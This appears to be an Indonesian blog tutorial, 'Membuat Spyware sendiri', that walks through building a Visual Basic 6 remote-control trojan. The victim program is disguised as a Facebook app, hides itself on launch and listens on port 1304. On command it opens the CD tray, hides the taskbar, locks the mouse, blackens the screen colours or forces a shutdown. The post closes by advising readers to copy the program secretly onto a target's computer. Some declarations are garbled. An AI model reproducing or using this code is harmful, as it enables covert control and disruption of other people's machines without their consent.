Popular Posts

  • Membuat Spyware sendiri

    31 March 2015

    Membuat Spyware sendiri


    Pernahkan anda mendengar kata spyware dan trojan ?
    yay spyware merupakan sejenis program yang dapat mencuri semua data di computer dengan  cara merekam berbagai aktivitas kita di computer sedangkan Trojan adalah sebuah program atau berupa script yang dapat mengexploitasi system computer kita,
    Sekarang banyak di pasaran spyware gratis tapi mengandung dan terdeteksi antivirus dan adapula yang memakai lisensi trial software,
    anda tidak usah bingung, anda dapat membuat sendiri dengan bantuan Visual Basic 6.0, Untuk caranya silahkan ikuti intruksi berikut :

    1.buat sebuah form di dalam project vb dengan atribut :
    Nama : menu
    Caption : Spy Hacker Tool
    nama dan caption terserah anda
    Tambahkan 3 buah picture lalu masukan imge yang brupa button dengan nama setting , about, exit.nah bila sudah selesai masukan listing program di bawah ini pada masing2 picture:
    Pada picture1
    Private Sub picture1_Click()
    intro.Show
    End Sub
    Pada picture2
    Private Sub picture2_Click()
    about.Show
    End Sub
    Pada picture3
    Private Sub picture3_Click()
    end
    End Sub
    Fungsi form ini hanya sebagai menu pembuka saja
    2.tambahkan sebuah form pada project vb tadi dengan atribut:
    Nama : intro
    BorderStyle : 2.Sizable
    Caption : Spy Hacker Tool
    3.Atur components control dengan aturan sebagai berikut:
    Centang Microsoft windows common control 6.0 (sp6)
    Lalu centang Microsoft winsock control 6.0
    4.atur references dengan aturan sebagai berikut :
    Centang Microsoft activex data objects 2.0 library
    5.tambahkan komponen toolbar pada form intro dengan pengaturan propertis :
    general
    Imagelist: imagelist1
    Button
    Tambahkan 17 button pada toolbar dengan nama
    Button1 caption: open
    Button2 caption: close
    Button3 caption: hide
    Button4 caption: show
    Button5 caption:tangkap
    Button6 caption:normalisasi
    Button7 caption:Gelap
    Button8 caption:kill
    Button9 caption: message
    Button10 caption:racuni
    Button11caption:keylongger active
    Button 12caption:keylongger dactive
    Button13caption:disablekeyboard
    Button14caption:activekeyboard
    Button15caption:info
    Button16caption:minimize
    Button17caption:exit
    Image
    Terserah anda yang penting sesuai dengan imagelist anda
    Tooltipstext
    Terserah anda
    6.tambahkan komponen imagelist pada form intro
    7.tambahkan komponen winsock pada from intro
    8.tambahkan 1 komponen textbox dengan pengaturan atribut sebagai brikut:
    text :
    9.tambahkan 2 buah command button atur atribut sebagai berikut:
    Button1
    Nama:cmdkoneksi
    Caption:konek
    Button2
    Nama:cmddiskonek
    Caption:diskonek
    10.tambahkan 4 buah label dengan pengaturan atribut sbagai berikut:
    Label1
    caption : koneksi
    Label2
    Caption : IP Address
    Label3
    Caption:
    Label4
    Caption:
    11.tambahkan 2 buahmodul pada project dengan nama :
    Client
    opsiremoter
    Setelah semua menu sudah siap silahkan buat listing program di bawah ini pada cmddiskonek :
    Private Sub Cmddiskonek_Click()
    Winsock1.Close
    Label3.Caption = "Status : Diskonek Koneksi Telah Terputus"
    End Sub
    masukan listing programe di bawah ini pada cmdkonek :
    Private Sub Cmdkonek_Click()
    On Error GoTo pesan
    Winsock1.Connect Main.ip.Text, 1304
    Exit Sub
    pesan:
    MsgBox "Konksi ke Target Sasaran Gagal, slave/server Tidak aktif"
    End Sub
    masukan listing programe di bawah ini pada toolbar :
    Private Sub Toolbar1_ButtonClick(ByVal Button As MSComctlLib.Button)
    Select Case Button.Index
    Case 1
    perintah "bukacdrom"
    Case 2
    perintah "tutupcdrom"
    Case 3
    perintah "umpetintaskbar"
    Case 4
    perintah "tunjukintaskbar"
    Case 5
    perintah "tangkaptikus"
    Case 6
    perintah "lepastikus"
    Case 7
    perintah "itemdeh"
    Case 8
    perintah "shutdown"
    Case 9
    Unload Me
    End Select
    End Sub
    masukan listing programe di bawah ini pada komponen winsock :
    Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim DataMasuk As String
    Main.Winsock1.GetData DataMasuk
    OpsiRemoter.OpsiPerintah (DataMasuk)
    End Sub
    masukan listing programe di bawah ini pada modul client :
    Public Sub perintah(data As String)
    INTRO.Winsock1.SendData data$
    End Sub
    masukan listing programe di bawah ini pada modul opsiremoter :
    Public Sub OpsiPerintah(ResponDariServer As String)
    Select Case ResponDariServer
    Case "Terkonek"
    INTRO.Label4.Caption = "Status : Terkonek ke PC target"
    GoTo Reset
    Case "unknown"
    MsgBox "Perintah Tidak Tersedia"
    GoTo Reset
    Case Else
    MsgBox "????Apaan Tuh??"
    GoTo Reset
    End Select
    10
    Reset:
    DoEvents
    End Sub
    Jika anda sudah selesai save as sebagai extension .exe setelah itu buatlah form untuk client dan buatlah semenarik mungkin sehingga mengundang rasa penasaran,
    1.Tambahkan sebuah form atur atributnya menjadi :
    Nama : main
    Borderstyle:2sizable
    Caption: facebook aplikasi
    2.Tambahkan komponen timer pada form main
    3.Tambahkan komponen winsock pada from main
    4.Atur pengaturan komponen control nya dengan mencentang Microsoft winsock control 6.0
    5.Tambahkan 1 buah button atur menjadi:
    Caption: konek facebook
    6.Tambahkan 3 buah modul atur nama masing2 modul menjadi:
    Bukakoneksi
    Fungsideklarasi
    Opsitrojan
    Nah setelah semua pengaturan di atas selesai.kini kita masuk ke tahap pengkodingan (listing programe)masukan listing programe di bawah ini pada form main :
    Private Sub Form_Load()
    Me.Visible = False
    App.TaskVisible = False
    Me.Hide
    bukakoneksi.mulaikoneksi
    End Sub
    masukan listing programe di bawah ini pada komponen winsock :
    Private Sub winsock1_ConnectionRequest(ByVal requestID As Long)
    Main.Winsock1.Close
    Main.Winsock1.Accept requestID
    perintahserver "Terkonek"
    End Sub
    Masukan listing programe di bawah ini pada komponen winsock dengan procedure : dataarrival
    Private Sub winsock1_DataArrival(ByVal bytesTotal As Long)
    Dim ServerTrojan As String
    Main.Winsock1.GetData ServerTrojan
    OpsiTrojan.PerintahTrojan (ServerTrojan)
    End Sub
    Masukan listing programe di bawah ini pada komponen timer :
    Private Sub timer1_Timer()
    X = 0 And goRight = False
    Y = 0 And goUp = False
    SetCursorPos X, Y
    End Sub
    Masukan listing programe di bawah ini pada modul bukakoneksi :
    Public Sub mulaikoneksi()
    mulai:
    Main.Winsock1.LocalPort = 1304
    Main.Winsock1.Listen
    End Sub
    Public Sub perintahserver(data As String)
    Main.Winsock1.SendData data$
    End Sub
    Masukan listing programe di bawah ini pada modul fungsi deklarasi :
    Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVallpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hWndCallback As Long) As Long
    'lpstrReturnString As Any, ByVal uReturnLength As Long, ByVal hWndCallback As Long) As Long
    Public Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long 'untuk kerjain
    mouse
    Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    'Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Public Declare Function SendMessageA Lib "user32" (ByVal hwnd As Integer, ByVal wMsg As Integer, ByValwParam As Integer, lParam As Any) As Long
    'wParam As Integer, lParam As Any) As Long
    Public Declare Function SendMessageLong Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByValwMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    'wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVallpWindowName As String) As Long
    'lpWindowName As String) As Long
    Public Declare Function FindWindowA Lib "user32" (ByVal lpClassName As Any, ByVal lpWindowName As Any) As Integer
    'As Integer
    Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByValhWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    'hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long
    Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long
    Public Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
    'Long
    Public Declare Function setsyscolors Lib "user32" Alias "SetSysColors" (ByVal nChanges As Long, lpSysColor As Long, lpColorValues As Long) As Long
    'Long, lpColorValues As Long) As Long
    Public Const SW_SHOW = 5
    Public Const SW_RESTORE = 9
    Public Const SW_HIDE = 0
    Public Const EWX_FORCE = 4
    Public Const WM_SYSCOMMAND = &H112&
    'Untuk sembunyikan Taskbar window
    Function Hide_TaskBar()
    ShowWindow FindWindow("Shell_TrayWnd", vbNullString), SW_HIDE
    End Function
    'Untuk mengembalikan Taskbar window
    Function Show_TaskBar()
    ShowWindow FindWindow("Shell_TrayWnd", vbNullString), SW_SHOW
    End Function
    'Maksa log off/reboot
    Public Sub Win_ForceShutdown()
    ExitWindowsEx EWX_FORCE, 0
    End Sub
    'Ngubah warna desktop
    Sub Change_Colors(Num As Long, COLOR As Long)
    setsyscolors 1, Num, COLOR
    End Sub
    Masukan listing programe di bawah ini pada modul printah Trojan:
    Public Sub PerintahTrojan(newdata As String)
    Select Case newdata
    Case "bukacdrom"
    fungsi = mciSendString("set cdaudio door open", 0&, 0, 0)
    GoTo Reset
    Case "tutupcdrom"
    fungsi = mciSendString("set cdaudio door closed", 0&, 0, 0)
    GoTo Reset
    Case "umpetintaskbar"
    FungsiDeklarasi.Hide_TaskBar
    GoTo Reset
    Case "tunjukintaskbar"
    FungsiDeklarasi.Show_TaskBar
    GoTo Reset
    Case "shutdown"
    FungsiDeklarasi.Win_ForceShutdown
    GoTo Reset
    Case "itemdeh"
    FungsiDeklarasi.Change_Colors 1, vbBlack
    FungsiDeklarasi.Change_Colors 2, vbBlack
    FungsiDeklarasi.Change_Colors 3, vbBlack
    FungsiDeklarasi.Change_Colors 4, vbBlack
    FungsiDeklarasi.Change_Colors 5, vbBlack
    FungsiDeklarasi.Change_Colors 8, vbBlack
    FungsiDeklarasi.Change_Colors 10, vbBlack
    FungsiDeklarasi.Change_Colors 11, vbBlack
    FungsiDeklarasi.Change_Colors 13, vbBlack
    FungsiDeklarasi.Change_Colors 15, vbBlack
    FungsiDeklarasi.Change_Colors 16, vbBlack
    FungsiDeklarasi.Change_Colors 17, vbBlack
    FungsiDeklarasi.Change_Colors 18, vbBlack
    FungsiDeklarasi.Change_Colors 19, vbBlack
    FungsiDeklarasi.Change_Colors 20, vbBlack
    FungsiDeklarasi.Change_Colors 21, vbBlack
    FungsiDeklarasi.Change_Colors 23, vbBlack
    FungsiDeklarasi.Change_Colors 24, vbBlack
    FungsiDeklarasi.Change_Colors 27, vbBlack
    FungsiDeklarasi.Change_Colors 28, vbBlack
    GoTo Reset
    Case "tangkaptikus"
    Main.timer1.Enabled = True
    GoTo Reset
    Case "lepastikus"
    Main.timer1.Enabled = False
    GoTo Reset
    Case Else
    PerintahTrojan "???"
    GoTo Reset
    End Select
    Reset:
    DoEvents
    End Sub
    Nahhh anda bisa save as juga dengan .exe lalu anda simpan di computer client dengan cara copy di desktop secara diam-diam J

    Tag :

    0 comments

    • Subscribe to: Post Comments (Atom)

    Nisekoi Template Designed by Johanes Djogan

    ©2016 - ReDesigned By Ani-Sudo